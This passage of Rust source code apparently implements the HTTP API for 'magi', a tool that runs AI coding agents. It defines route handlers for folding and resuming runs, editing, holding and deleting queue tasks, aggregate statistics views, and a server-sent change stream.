2561async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562    let (id, state) = {
2563        let ui = Arc::clone(&ui);
2564        blocking(move || {
2565            let id = resolve_run(&ui.runs, &id)?;
2566            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567                return Err(ApiError::conflict(format!(
2568                    "run {id} is being worked on by a live daemon right now"
2569                )));
2570            }
2571            let state = read_run(&ui.runs, &id).ok();
2572            Ok((id, state))
2573        })
2574        .await?
2575    };
2576    let removed = match state {
2577        Some(mut state) => {
2578            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579                .await
2580                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581            // Nothing left to remove is not the same thing as nothing left to
2582            // do — see `clean::clear_abandoned_active`'s own doc for the run
2583            // this exists for: worktrees already gone, but a killed process
2584            // left active seats nobody will ever answer for.
2585            if removed.is_empty() {
2586                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588            }
2589            removed
2590        }
2591        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592            .await
2593            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594    };
2595    Ok(Json(FoldView {
2596        run: id,
2597        removed_count: removed.len(),
2598        removed,
2599    }))
2600}
2601
2602/// What a fold took away, so the deck can say so rather than only re-render.
2603#[derive(Debug, Serialize)]
2604struct FoldView {
2605    run: String,
2606    /// Worktree paths and branch names removed, in the order they went.
2607    removed: Vec<String>,
2608    removed_count: usize,
2609}
2610
2611/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
2612/// merged outside of `land::land`'s own loop.
2613#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615    #[serde(default)]
2616    pr_url: String,
2617}
2618
2619/// `POST /api/runs/{id}/fold-merged`.
2620///
2621/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
2622/// `Blocked` with `merge: null` because magi never got as far as opening a
2623/// pull request of its own (a title over GitHub's length limit, `gh pr
2624/// create` unreachable, a stale token), which the operator then finished by
2625/// hand on a pull request magi never recorded. The "Run actions" sheet used
2626/// to have no way to tell it about that pull request short of a terminal and
2627/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
2628/// this exists and what it deliberately does not do (`bump::after_merge`).
2629///
2630/// Refused, like [`run_fold`], while a live daemon is working on the run: the
2631/// correction rewrites the same `status`/`merge` fields a running graph would
2632/// be writing to on its own.
2633///
2634/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
2635/// calls plus a fold, seconds of work, and the phone should get its answer
2636/// (which pull request it recorded, and what changed) in the same round
2637/// trip rather than learning it from the change stream.
2638async fn run_fold_merged(
2639    State(ui): State<Arc<Ui>>,
2640    Path(id): Path<String>,
2641    Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643    let pr_url = body.pr_url.trim().to_owned();
2644    if pr_url.is_empty() {
2645        return Err(ApiError::bad_request("pr_url is required"));
2646    }
2647    let (id, mut state) = {
2648        let ui = Arc::clone(&ui);
2649        blocking(move || {
2650            let id = resolve_run(&ui.runs, &id)?;
2651            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652                return Err(ApiError::conflict(format!(
2653                    "run {id} is being worked on by a live daemon right now"
2654                )));
2655            }
2656            let state = read_run(&ui.runs, &id)?;
2657            Ok((id, state))
2658        })
2659        .await?
2660    };
2661    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662        .await
2663        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665        .await
2666        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667    Ok(Json(FoldMergedView {
2668        run: id,
2669        before: before.as_str().to_owned(),
2670        after: after.as_str().to_owned(),
2671        removed,
2672    }))
2673}
2674
2675/// What [`run_fold_merged`] did, so the deck can say so.
2676#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678    run: String,
2679    /// `status` before the correction — normally `"blocked"`.
2680    before: String,
2681    /// `status` after — normally `"merged"`.
2682    after: String,
2683    /// Worktree paths and branch names the trailing fold removed.
2684    removed: Vec<String>,
2685}
2686
2687/// `POST /api/runs/{id}/resume`.
2688///
2689/// Carry a stalled run on from where it stopped, in the background.
2690///
2691/// A stalled card says "the work is kept" and used to offer no way to act on
2692/// that: the candidates are built and paid for, and continuing means re-asking
2693/// only the seats whose absence collapsed the panel. The alternative an
2694/// operator actually had was releasing the task, which competes three fresh
2695/// implementations against work that already exists.
2696///
2697/// **202, not 200.** A resume runs agents for minutes; holding the connection
2698/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2699/// phone learns the outcome from the change stream.
2700///
2701/// Refused when the loop is running at all, not merely when it is on this run.
2702/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2703/// started a second graph on top of whatever the loop is already driving —
2704/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2705/// allows — would spend that quota twice over for no extra throughput.
2706async fn run_resume(
2707    State(ui): State<Arc<Ui>>,
2708    Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710    let (id, state) = {
2711        let ui = Arc::clone(&ui);
2712        blocking(move || {
2713            let id = resolve_run(&ui.runs, &id)?;
2714            let state = read_run(&ui.runs, &id)?;
2715            Ok((id, state))
2716        })
2717        .await?
2718    };
2719    if !state.status.resumable() {
2720        return Err(ApiError::conflict(format!(
2721            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2722            state.short(),
2723            status_word(state.status)
2724        )));
2725    }
2726    // Refused whenever the loop is running anything at all, not merely when
2727    // it is on this run: a manual resume racing a loop-driven run over the
2728    // same agent quota is the thing this guard exists to prevent, whether
2729    // the loop's own concurrency is one run or several.
2730    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2731        .into_iter()
2732        .next()
2733    {
2734        return Err(ApiError::conflict(format!(
2735            "the loop is running run {} right now; stop it first, or wait for \
2736             it to finish, before resuming a run by hand.",
2737            crate::run::short_of(&work.run)
2738        )));
2739    }
2740    let _resume = ui.begin_resume(&id)?;
2741
2742    // The same shape the list route returns, so the phone updates the card it
2743    // already has rather than learning a second schema for one button.
2744    let queued = RunSummary::of(
2745        &state,
2746        !ui.questions.open_for(&id).is_empty(),
2747        state.liveness(false),
2748    );
2749    let run = id.clone();
2750    tokio::spawn(async move {
2751        let _resume = _resume;
2752        match crate::graph::Runner::resume(&run) {
2753            Ok(mut runner) => {
2754                if let Err(e) = runner.execute().await {
2755                    tracing::warn!("resume of run {run} stopped: {e:#}");
2756                }
2757            }
2758            // The run's own record is what the phone reads; this line is for
2759            // the operator's terminal.
2760            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2761        }
2762    });
2763    Ok((StatusCode::ACCEPTED, Json(queued)))
2764}
2765
2766async fn run_report(
2767    State(ui): State<Arc<Ui>>,
2768    Path(id): Path<String>,
2769) -> ApiResult<impl IntoResponse> {
2770    let text = blocking(move || {
2771        let id = resolve_run(&ui.runs, &id)?;
2772        // Colour is off for the whole process, set once in `serve`. Rendering
2773        // is CPU work over the full state, which is the other reason this is
2774        // not on the executor.
2775        let state = read_run(&ui.runs, &id)?;
2776        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2777        let live = state.liveness(daemon_claims);
2778        Ok(format!(
2779            "{}{}",
2780            report::run(&state),
2781            report::active_seats(&state, live)
2782        ))
2783    })
2784    .await?;
2785    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2786}
2787
2788/// A task as the UI sees it.
2789///
2790/// The whole task, plus the two things the client would otherwise have to
2791/// reimplement: the human-readable source and the status string. Nothing is
2792/// removed - the phone shows `last_error` and the run history verbatim.
2793#[derive(Debug, Serialize)]
2794struct TaskView {
2795    #[serde(flatten)]
2796    task: Task,
2797    source_label: String,
2798    status_str: &'static str,
2799    /// The instruction, parsed as markdown, for the Queue card's "Full
2800    /// instruction" panel. `task.instruction` is unchanged and still carries
2801    /// the raw text.
2802    instruction_md: Vec<md::Node>,
2803    /// For a blocked task, what it waits on with each dependency's state, e.g.
2804    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
2805    /// recurses; empty for every other status.
2806    waits_on: Vec<String>,
2807    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
2808    /// behind - non-empty means nothing in the loop will ever run it.
2809    stuck_roots: Vec<String>,
2810}
2811
2812impl From<Task> for TaskView {
2813    fn from(task: Task) -> Self {
2814        Self {
2815            source_label: task.source.label(),
2816            status_str: task.status.as_str(),
2817            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2818            waits_on: Vec::new(),
2819            stuck_roots: Vec::new(),
2820            task,
2821        }
2822    }
2823}
2824
2825impl TaskView {
2826    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2827        let waits_on = inv.waits_on(&task);
2828        let stuck_roots = inv
2829            .stuck_roots(&task)
2830            .iter()
2831            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2832            .collect();
2833        Self {
2834            waits_on,
2835            stuck_roots,
2836            ..Self::from(task)
2837        }
2838    }
2839}
2840
2841/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2842/// its absence, leaves the cache to decide.
2843#[derive(Debug, Default, Deserialize)]
2844#[serde(default)]
2845struct ReposQuery {
2846    refresh: u8,
2847}
2848
2849/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2850/// listing `magi repos` prints at a terminal.
2851///
2852/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2853/// so an edit to `magi.toml` takes effect without a restart, the same
2854/// reasoning [`config_for`] documents for the talk routes.
2855async fn repos_list(
2856    State(ui): State<Arc<Ui>>,
2857    Query(q): Query<ReposQuery>,
2858) -> ApiResult<Json<Vec<repos::Repo>>> {
2859    let refresh = q.refresh != 0;
2860    blocking(move || {
2861        let (cfg, _) = Config::discover(&ui.repo, None)?;
2862        Ok(Json(ui.repos_cache.list(
2863            &cfg.repos.roots,
2864            Duration::from_secs(cfg.repos.scan_ttl),
2865            refresh,
2866        )))
2867    })
2868    .await
2869}
2870
2871async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2872    blocking(move || {
2873        let tasks = ui.queue.list();
2874        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2875        Ok(Json(
2876            tasks
2877                .into_iter()
2878                .map(|t| TaskView::with_inventory(t, &inv))
2879                .collect(),
2880        ))
2881    })
2882    .await
2883}
2884
2885/// A rate together with its denominator, so the client can tell "computed as
2886/// 0%" apart from "no data to compute it from" — both would otherwise
2887/// serialize as `0.0`. `None` means the denominator was zero.
2888#[derive(Debug, Serialize)]
2889struct RateView {
2890    pct: f64,
2891    denominator: usize,
2892}
2893
2894impl RateView {
2895    fn of(numerator: usize, denominator: usize) -> Option<Self> {
2896        (denominator > 0).then(|| Self {
2897            pct: 100.0 * numerator as f64 / denominator as f64,
2898            denominator,
2899        })
2900    }
2901}
2902
2903/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
2904/// rates, each paired with its own denominator via [`RateView`] rather than
2905/// exposing `Stats`' own percentage methods directly — see this module's
2906/// doc for why `Stats` itself is never serialized.
2907#[derive(Debug, Serialize)]
2908struct StatsTotalsView {
2909    runs: usize,
2910    merged: usize,
2911    ready: usize,
2912    blocked: usize,
2913    failed: usize,
2914    stalled: usize,
2915    verified_noop: usize,
2916    superseded: usize,
2917    in_progress: usize,
2918    completion_rate: Option<RateView>,
2919    tallied: usize,
2920    split: usize,
2921    split_rate: Option<RateView>,
2922    deliberated: usize,
2923    minds_changed: usize,
2924    converged: usize,
2925    review_rounds: usize,
2926}
2927
2928impl From<&stats::Totals> for StatsTotalsView {
2929    fn from(t: &stats::Totals) -> Self {
2930        Self {
2931            runs: t.runs,
2932            merged: t.merged,
2933            ready: t.ready,
2934            blocked: t.blocked,
2935            failed: t.failed,
2936            stalled: t.stalled,
2937            verified_noop: t.verified_noop,
2938            superseded: t.superseded,
2939            in_progress: t.in_progress,
2940            completion_rate: RateView::of(t.merged + t.ready, t.runs),
2941            tallied: t.tallied,
2942            split: t.split,
2943            split_rate: RateView::of(t.split, t.tallied),
2944            deliberated: t.deliberated,
2945            minds_changed: t.minds_changed,
2946            converged: t.converged,
2947            review_rounds: t.review_rounds,
2948        }
2949    }
2950}
2951
2952/// [`crate::stats::AgentStats`] for the wire.
2953#[derive(Debug, Serialize)]
2954struct AgentStatsView {
2955    agent: String,
2956    entered: usize,
2957    wins: usize,
2958    empty: usize,
2959    win_rate: Option<RateView>,
2960}
2961
2962impl From<&stats::AgentStats> for AgentStatsView {
2963    fn from(a: &stats::AgentStats) -> Self {
2964        Self {
2965            agent: a.agent.clone(),
2966            entered: a.entered,
2967            wins: a.wins,
2968            empty: a.empty,
2969            win_rate: RateView::of(a.wins, a.entered),
2970        }
2971    }
2972}
2973
2974/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
2975/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
2976/// value, `None` when `rounds` is zero.
2977#[derive(Debug, Serialize)]
2978struct ReviewerStatsView {
2979    agent: String,
2980    rounds: usize,
2981    seated: usize,
2982    submitted: usize,
2983    adopted: usize,
2984    unique: usize,
2985    timeouts: usize,
2986    adopted_per_round: Option<f64>,
2987    precision: Option<RateView>,
2988    unique_rate: Option<RateView>,
2989    timeout_rate: Option<RateView>,
2990}
2991
2992impl From<&stats::ReviewerStats> for ReviewerStatsView {
2993    fn from(r: &stats::ReviewerStats) -> Self {
2994        Self {
2995            agent: r.agent.clone(),
2996            rounds: r.rounds,
2997            seated: r.seated,
2998            submitted: r.submitted,
2999            adopted: r.adopted,
3000            unique: r.unique,
3001            timeouts: r.timeouts,
3002            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3003            precision: RateView::of(r.adopted, r.submitted),
3004            unique_rate: RateView::of(r.unique, r.submitted),
3005            timeout_rate: RateView::of(r.timeouts, r.seated),
3006        }
3007    }
3008}
3009
3010/// [`crate::stats::E2eStats`] for the wire.
3011#[derive(Debug, Serialize)]
3012struct E2eStatsView {
3013    rounds: usize,
3014    failures: usize,
3015    sole_detections: usize,
3016    deferred: usize,
3017    sole_rate: Option<RateView>,
3018}
3019
3020impl From<&stats::E2eStats> for E2eStatsView {
3021    fn from(e: &stats::E2eStats) -> Self {
3022        Self {
3023            rounds: e.rounds,
3024            failures: e.failures,
3025            sole_detections: e.sole_detections,
3026            deferred: e.deferred,
3027            sole_rate: RateView::of(e.sole_detections, e.failures),
3028        }
3029    }
3030}
3031
3032/// [`crate::queue::TaskCounts`] for the wire.
3033#[derive(Debug, Serialize)]
3034struct TaskCountsView {
3035    queued: usize,
3036    running: usize,
3037    done: usize,
3038    failed: usize,
3039    held: usize,
3040    blocked: usize,
3041}
3042
3043impl From<crate::queue::TaskCounts> for TaskCountsView {
3044    fn from(c: crate::queue::TaskCounts) -> Self {
3045        Self {
3046            queued: c.queued,
3047            running: c.running,
3048            done: c.done,
3049            failed: c.failed,
3050            held: c.held,
3051            blocked: c.blocked,
3052        }
3053    }
3054}
3055
3056/// `GET /api/stats` - the whole answer. `Stats` itself carries no
3057/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
3058/// renders from them) are free to grow without that becoming a wire-contract
3059/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
3060/// data" from "computed and it really is zero" the way [`RateView`] does.
3061#[derive(Debug, Serialize)]
3062struct StatsView {
3063    totals: StatsTotalsView,
3064    /// Best win rate first, as [`stats::collect`] already sorts it.
3065    agents: Vec<AgentStatsView>,
3066    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
3067    reviewers: Vec<ReviewerStatsView>,
3068    e2e: E2eStatsView,
3069    queue: TaskCountsView,
3070    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
3071    /// that field's doc. Asserted to match it in
3072    /// `stats_runs_unreadable_matches_health`.
3073    runs_unreadable: usize,
3074}
3075
3076/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
3077/// by [`stats::collect`], the same function `magi stats` prints from. Reads
3078/// every readable run on disk, exactly as [`runs_unreadable`] does, so the
3079/// two counts can never drift apart the way a separately-maintained tally
3080/// could.
3081async fn stats_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<StatsView>> {
3082    blocking(move || {
3083        let states: Vec<RunState> = run_ids(&ui.runs)
3084            .into_iter()
3085            .filter_map(|id| read_run(&ui.runs, &id).ok())
3086            .collect();
3087        let collected = stats::collect(&states);
3088        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3089        Ok(Json(StatsView {
3090            totals: StatsTotalsView::from(&collected.totals),
3091            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3092            reviewers: collected
3093                .reviewers
3094                .iter()
3095                .map(ReviewerStatsView::from)
3096                .collect(),
3097            e2e: E2eStatsView::from(&collected.e2e),
3098            queue: TaskCountsView::from(queue_counts),
3099            runs_unreadable: runs_unreadable(&ui.runs),
3100        }))
3101    })
3102    .await
3103}
3104
3105/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
3106/// gives no reason - which must keep working, since not every hold has one.
3107#[derive(Debug, Default, Deserialize)]
3108#[serde(default, deny_unknown_fields)]
3109struct HoldBody {
3110    reason: Option<String>,
3111}
3112
3113async fn queue_hold(
3114    State(ui): State<Arc<Ui>>,
3115    Path(id): Path<String>,
3116    body: std::result::Result<Json<HoldBody>, JsonRejection>,
3117) -> ApiResult<Json<TaskView>> {
3118    // An absent body is the ordinary case - most holds are unexplained, and
3119    // that has to stay a one-tap action rather than a form. A body that is
3120    // present and malformed is still a bad request.
3121    let body = match body {
3122        Ok(Json(body)) => body,
3123        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3124        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3125    };
3126    let reason = body.reason.filter(|r| !r.trim().is_empty());
3127    mutate(ui, id, move |t| {
3128        t.hold_manual(reason.clone());
3129        Ok(())
3130    })
3131    .await
3132}
3133
3134async fn queue_release(
3135    State(ui): State<Arc<Ui>>,
3136    Path(id): Path<String>,
3137) -> ApiResult<Json<TaskView>> {
3138    mutate(ui, id, |t| {
3139        t.release();
3140        Ok(())
3141    })
3142    .await
3143}
3144
3145/// The body of `POST /api/queue/{id}/priority`.
3146#[derive(Debug, Deserialize)]
3147#[serde(deny_unknown_fields)]
3148struct PriorityBody {
3149    priority: i32,
3150}
3151
3152/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
3153///
3154/// [`Task::set_priority`] is the one place the "not while running" rule is
3155/// stated; this route only carries the body to it and lets its `Err` become
3156/// the 4xx the card shows.
3157async fn queue_priority(
3158    State(ui): State<Arc<Ui>>,
3159    Path(id): Path<String>,
3160    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3161) -> ApiResult<Json<TaskView>> {
3162    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3163    mutate(ui, id, move |t| t.set_priority(body.priority)).await
3164}
3165
3166/// The body of `POST /api/queue/{id}/edit`.
3167#[derive(Debug, Deserialize)]
3168#[serde(deny_unknown_fields)]
3169struct EditBody {
3170    title: String,
3171    instruction: String,
3172}
3173
3174/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
3175/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
3176/// that refusal's message is what the sheet shows back.
3177async fn queue_edit(
3178    State(ui): State<Arc<Ui>>,
3179    Path(id): Path<String>,
3180    body: std::result::Result<Json<EditBody>, JsonRejection>,
3181) -> ApiResult<Json<TaskView>> {
3182    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3183    mutate(ui, id, move |t| {
3184        t.edit(body.title.clone(), body.instruction.clone())
3185    })
3186    .await
3187}
3188
3189/// `POST /api/queue/{id}/done` - close a task as finished without deleting
3190/// it, so the phone's other way to clear a task from the backlog does not
3191/// have to cost the run history, the attribution, and `created_at` the way
3192/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
3193/// can be marked done by hand, because this is for the run the loop never
3194/// saw land - a merge done by hand, or a gate that misreported - and that can
3195/// happen from any status the task was left in.
3196async fn queue_done(
3197    State(ui): State<Arc<Ui>>,
3198    Path(id): Path<String>,
3199) -> ApiResult<Json<TaskView>> {
3200    let home = ui.home.clone();
3201    mutate(ui, id, move |t| {
3202        t.succeed();
3203        // Same as the loop's own settle path: closing a task by hand is just
3204        // as much "this task's story is over" as a daemon-driven `Merged`/
3205        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
3206        // behind must stop looking like it still needs a human. `ui.home`,
3207        // not the process-global `run::home()`: they agree in a real
3208        // process, but only `ui.home` also agrees with a test fixture's own
3209        // directory.
3210        crate::daemon::supersede_prior_runs(t, &home);
3211        Ok(())
3212    })
3213    .await
3214}
3215
3216/// `DELETE /api/queue/{id}`.
3217///
3218/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
3219/// names this task: a `running` status or an orphaned `.lock` left behind by a
3220/// killed daemon is a leftover, and treating either as authority made the
3221/// task undeletable from the phone for good. The associated runs, if any, are
3222/// kept: a run is self-contained history and not an appendage of the task.
3223async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3224    blocking(move || {
3225        let id = resolve_task(&ui.queue, &id)?;
3226        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3227        ui.queue
3228            .remove(&id, in_flight, &ui.questions)
3229            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3230        Ok(StatusCode::NO_CONTENT)
3231    })
3232    .await
3233}
3234
3235/// Read a task, change it, write it back, under the queue's own lock.
3236///
3237/// Taking the same claim a daemon takes is what makes hold, release,
3238/// priority, edit, and done safe to press while magi is running: without it
3239/// the daemon's next save would land on top of the operator's change and
3240/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
3241/// both do, for a running task - and that refusal becomes the 4xx the card
3242/// shows, same as any other domain rule.
3243async fn mutate(
3244    ui: Arc<Ui>,
3245    id: String,
3246    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3247) -> ApiResult<Json<TaskView>> {
3248    blocking(move || {
3249        let id = resolve_task(&ui.queue, &id)?;
3250        // `claim` fails when the lock file already exists, which is the
3251        // conflict the UI must report: the daemon owns that task's file for
3252        // as long as it is running it, and our write would be lost under its
3253        // next save. The message names the lock either way.
3254        let _claim = ui.queue.claim(&id).map_err(|e| {
3255            ApiError::conflict(format!(
3256                "{e:#} - a daemon is running this task, so it cannot be \
3257                 changed from here yet"
3258            ))
3259        })?;
3260        let mut task = ui.queue.get(&id)?;
3261        change(&mut task).map_err(ApiError::bad_request_from)?;
3262        ui.queue.put(&mut task)?;
3263        Ok(Json(TaskView::from(task)))
3264    })
3265    .await
3266}
3267
3268/// The change stream: one revision number per store, on connect and whenever
3269/// any of them moves.
3270///
3271/// The poll runs in one spawned task per client, which is affordable because
3272/// the work is a directory scan and a `stat` per file. It stops as soon as the
3273/// receiver is gone, so a phone that walks out of range costs nothing after
3274/// its next tick - there is no session and no cleanup to forget.
3275async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
3276    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
3277    tokio::spawn(async move {
3278        let mut ticker = tokio::time::interval(POLL);
3279        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
3280        loop {
3281            // The first tick completes immediately, which is what makes the
3282            // stream announce the current revisions on connect.
3283            ticker.tick().await;
3284            let state = Arc::clone(&ui);
3285            let revisions = tokio::task::spawn_blocking(move || {
3286                (
3287                    state.queue.revision(),
3288                    runs_revision(&state.runs),
3289                    state.questions.revision(),
3290                    state.talks.revision(),
3291                    state.notices.revision(),
3292                    // The loop's counter is in-process state rather than a
3293                    // file, so nothing the three stats above look at would
3294                    // tell this phone that another one started the loop.
3295                    state.lock_loop().rev,
3296                )
3297            })
3298            .await;
3299            let Ok(revisions) = revisions else { break };
3300            if last == Some(revisions) {
3301                continue;
3302            }
3303            last = Some(revisions);
3304            let payload = serde_json::json!({
3305                "queue_rev": revisions.0,
3306                "runs_rev": revisions.1,
3307                "questions_rev": revisions.2,
3308                "talks_rev": revisions.3,
3309                "notifications_rev": revisions.4,
3310                "loop_rev": revisions.5,
3311            });
3312            // Serializing five integers cannot fail; giving up beats looping.
3313            let Ok(event) = Event::default().event("change").json_data(payload) else {
3314                break;
3315            };
3316            if tx.send(event).await.is_err() {
3317                break;
3318            }
3319        }
3320    });
3321    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
3322        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
3323}
3324
3325/// Change detection token for recorded runs under `runs`.
3326///
3327/// Combines the id and `run.json` modification time of each run, so adding,
3328/// updating, or deleting any run — even an older one — moves the revision and
3329/// notifies connected clients via the change stream. Returns 0 when no runs
3330/// exist.
3331fn runs_revision(runs: &FsPath) -> u64 {
3332    use std::hash::{Hash as _, Hasher as _};
3333
3334    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
3335        .into_iter()
3336        .flatten()
3337        .flatten()
3338        .filter_map(|e| {
3339            let path = e.path().join("run.json");
3340            let mtime = path
3341                .metadata()
3342                .ok()?
3343                .modified()
3344                .ok()?
3345                .duration_since(std::time::UNIX_EPOCH)
3346                .ok()?
3347                .as_millis() as u64;
3348            let id = e.file_name().to_string_lossy().into_owned();
3349            Some((id, mtime))
3350        })
3351        .collect();
3352
3353    if entries.is_empty() {
3354        return 0;
3355    }
3356
3357    entries.sort_unstable();
3358    let mut hasher = std::hash::DefaultHasher::new();
3359    for (id, mtime) in &entries {
3360        id.hash(&mut hasher);
3361        mtime.hash(&mut hasher);
3362    }
3363    let h = hasher.finish();
3364    if h == 0 { 1 } else { h }
3365}
3366
3367/// Run ids under `runs`, newest first.
3368///
3369/// Rooted at an explicit directory rather than calling [`run::list_ids`],
3370/// which reads the process-global home: the server has to be drivable against
3371/// a temp directory for any of this to be testable.
3372fn run_ids(runs: &FsPath) -> Vec<String> {
3373    let mut ids: Vec<String> = std::fs::read_dir(runs)
3374        .into_iter()
3375        .flatten()
3376        .flatten()
3377        .filter(|e| e.path().join("run.json").is_file())
3378        .map(|e| e.file_name().to_string_lossy().into_owned())
3379        .collect();
3380    // Ids start with a sortable timestamp.
3381    ids.sort_unstable_by(|a, b| b.cmp(a));
3382    ids
3383}
3384
3385/// Read one run's state from an explicit runs root.
3386fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
3387    let path = runs.join(id).join("run.json");
3388    let body =
3389        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
3390    let state: RunState =
3391        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
3392    if state.schema != run::SCHEMA {
3393        anyhow::bail!(
3394            "run {} was written by a different magi (schema {}, this build speaks {})",
3395            state.id,
3396            state.schema,
3397            run::SCHEMA
3398        );
3399    }
3400    Ok(state)
3401}
3402
3403/// Runs on disk under `runs` whose state this build cannot parse - almost
3404/// always a schema bump, occasionally a run killed mid-write.
3405///
3406/// Exposed so every surface that reports on runs shares one count instead of
3407/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
3408/// `magi doctor` calls this directly rather than guessing at the same number
3409/// a second way.
3410#[must_use]
3411pub fn runs_unreadable(runs: &FsPath) -> usize {
3412    run_ids(runs)
3413        .into_iter()
3414        .filter(|id| read_run(runs, id).is_err())
3415        .count()
3416}
3417
3418/// Expand an id or short id to exactly one run id.
3419fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
3420    if runs.join(id).join("run.json").is_file() {
3421        return Ok(id.to_owned());
3422    }
3423    pick(run_ids(runs), id, "run")
3424}
3425
3426/// Expand an id or short id to exactly one task id.
3427fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
3428    if queue.path_of(id).is_file() {
3429        return Ok(id.to_owned());
3430    }
3431    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
3432}
3433
3434/// A question as the phone reads it.
3435///
3436/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
3437/// text already parsed into a node tree so the client never runs its own
3438/// markdown reader over agent-authored prose. A relative image path in it
3439/// resolves against this question's own panel asset route, which is the one
3440/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
3441/// separate, sandboxed document, but `detail` is rendered inline in the
3442/// operator's own page, so an image reference in it may only ever point at
3443/// files magi itself already serves for this question.
3444#[derive(Debug, Serialize)]
3445struct QuestionView {
3446    #[serde(flatten)]
3447    question: Question,
3448    detail_md: Vec<md::Node>,
3449    /// Is the ball in the agent's court right now?
3450    ///
3451    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
3452    /// [`Question::say`] - so this is the one field that tells the phone to
3453    /// disable the answer controls and show "waiting for the agent" instead of
3454    /// a card the owner can act on. Computed rather than stored on
3455    /// [`Question`] itself, on the same reasoning as `waiting` on
3456    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
3457    /// it here means the client never has to re-derive that rule.
3458    waiting_on_agent: bool,
3459}
3460
3461impl From<Question> for QuestionView {
3462    fn from(question: Question) -> Self {
3463        let base = md::ImageBase::QuestionPanel {
3464            id: question.id.clone(),
3465        };
3466        Self {
3467            detail_md: md::to_nodes(&question.detail, &base),
3468            waiting_on_agent: question.waiting_on_agent(),
3469            question,
3470        }
3471    }
3472}
3473
